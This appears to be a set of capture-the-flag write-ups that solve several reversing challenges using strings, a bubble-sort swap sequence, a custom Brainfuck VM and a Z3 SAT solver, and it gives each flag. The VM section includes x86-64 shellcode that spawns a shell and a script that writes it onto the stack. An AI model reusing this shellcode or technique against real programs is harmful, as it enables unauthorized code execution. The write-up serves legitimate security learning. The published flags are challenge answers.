Just strings it, you'll get:

Give me a magic number:

First part is: flag{r0pes_ar3_

Second part is: just_l0ng_str1ngs}

Two parts of the flag, concatenate to get:

flag{r0pes_ar3_just_l0ng_str1ngs}

Our array is {0x1, 0xa, 0x3, 0x2, 0x5, 0x9, 0x8, 0x7, 0x4, 0x6}

And every number we enter swaps arr[i] with arr[i+1]

https://www.hackerearth.com/practice/algorithms/sorting/bubble-sort/visualize/ went brrr and I got the swaps

1
2
3
4
5
6
7
8
1
4
5
6
7
4
5
6
4
5
3
10

(10 causes it to check the array)

Flag:flag{4ft3r_y0u_put_u54c0_0n_y0ur_c011ege_4pp5_y0u_5t1ll_h4ve_t0_d0_th15_57uff}

We're given a python file which writes some data to a file then extacts a python program from b64 and runs it. After a lot of analysis and removing unicode chars,

I realised it's a VM interpreter.

Doing some more reversing of the program showed me it was a simple Brainfuck interpreter, with > < - + and ? (nop).

There's also a function (unused) to essentially execute shellcode.

The problem was then to simply overwrite the instruction for the 'nop' to the shellcode instruction,

and write shellcode in using brainfuck to modify the existing stack.

sc = b"\x90\x90\x6A\x42\x58\xFE\xC4\x48\x99\x52\x48\xBF\x2F\x62\x69\x6E\x2F\x2F\x73\x68\x57\x54\x5E\x49\x89\xD0\x49\x89\xD2\x0F\x05"
actual_nums = [5, 0, 1, 0, 138, 4, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 104, 116, 116, 112, 115, 58, 47, 47, 97, 97, 114, 111, 110, 101, 115, 97, 117, 46, 99, 111, 109, 47, 102, 105, 108, 101, 115, 47]
goal_nums = [0x25]
goal_nums.extend(list(sc))
print(list(zip(actual_nums,goal_nums)))
print('<'*(1469-1398),end='')
for a,g in zip(actual_nums,goal_nums):
    if a < g:
        print('+'*(g-a),end='')
    if a > g:
        print('-'*(a-g),end='')
    print('>',end='')

flag{b1ng0!_obl1g4t0ry-sh1tty-cust0m_4rch_ch4l-ftw}

We can tell the name is a clear reference to a SAT-solver. Running the program, it asks for a flag, then tells us whether it's correct or incorrect.

Opening it up in ghidra, we see a lot goes on. Specifically, it does A LOT of checks. It reads your input onto the stack, and does many checks against the characters. Every check is of the form

characterofinput < othercharacterofinput

If any of these checks are true, it tells us the flag is incorrect. If none of these are satisfied, it goes ahead and checks that all of the chars are alphanumeric. If not, it tells us the flag is incorrect. If all these checks pass, it tells us the flag is correct.

Clearly, the way to go here is to use a sat solver to figure out what possibilities fit all of the checks. I used the Z3 python API.

I ran some simple parses on the input to create a Solver object, and then extracted the model. Note: the chall desc says all letters are lowercase, and we know the flag regex, so this allows us to significantly reduce the range.

My full script is uploaded below.

For some reason, it thinks the last char is | not }, but that doesn't matter and is easily fixable.

Flag: flag{thequickbrownfoxjumpedoverthelazydogandlearnedhowtoautomateanalysis}